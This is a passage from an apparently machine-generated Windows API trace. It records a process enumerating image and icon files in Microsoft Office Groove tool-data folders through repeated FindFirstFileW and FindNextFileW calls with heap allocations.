cFileName="MessageBoxIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageBoxIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c135400, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c135400, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIcon.jpg", cAlternateFileName="UNREAD~1.JPG")) returned 1 [0202.430] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98fc100, ftCreationTime.dwHighDateTime=0x1ca0330, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98fc100, ftLastWriteTime.dwHighDateTime=0x1ca0330, nFileSizeHigh=0x0, nFileSizeLow=0x1ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImages.jpg", cAlternateFileName="UNREAD~2.JPG")) returned 1 [0202.431] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="UNREAD~1.BMP")) returned 1 [0202.431] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90c2000, ftCreationTime.dwHighDateTime=0x1ca035a, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb90c2000, ftLastWriteTime.dwHighDateTime=0x1ca035a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnreadIconImagesMask.bmp", cAlternateFileName="UNREAD~1.BMP")) returned 0 [0202.431] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.432] GetProcessHeap () returned 0x550000 [0202.432] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.432] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0202.432] GetProcessHeap () returned 0x550000 [0202.432] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.433] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60440c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.433] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1 [0202.433] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 1 [0202.433] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="computericonMask.bmp", cAlternateFileName="COMPUT~1.BMP")) returned 0 [0202.433] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.433] GetProcessHeap () returned 0x550000 [0202.433] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.433] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion", cAlternateFileName="DISCUS~1")) returned 1 [0202.433] GetProcessHeap () returned 0x550000 [0202.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.435] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x607d2d50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.435] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1 [0202.435] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 1 [0202.435] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 0 [0202.435] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.435] GetProcessHeap () returned 0x550000 [0202.435] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.435] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0202.435] GetProcessHeap () returned 0x550000 [0202.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.438] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.438] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0202.438] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 0 [0202.438] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.438] GetProcessHeap () returned 0x550000 [0202.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.439] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveDocumentReview", cAlternateFileName="GROOVE~1")) returned 1 [0202.439] GetProcessHeap () returned 0x550000 [0202.439] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImageMask.bmp", cAlternateFileName="ACTIVE~1.BMP")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BodyPaneBackground.jpg", cAlternateFileName="BODYPA~1.JPG")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImage.jpg", cAlternateFileName="INACTI~1.JPG")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImageMask.bmp", cAlternateFileName="INACTI~1.BMP")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImages.jpg", cAlternateFileName="MARKUP~1.JPG")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="MARKUP~1.BMP")) returned 1 [0202.678] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="MARKUP~1.BMP")) returned 0 [0202.678] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.680] GetProcessHeap () returned 0x550000 [0202.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.680] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0202.680] GetProcessHeap () returned 0x550000 [0202.680] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0202.936] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.938] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0202.938] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1 [0202.938] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0202.938] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1 [0202.939] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 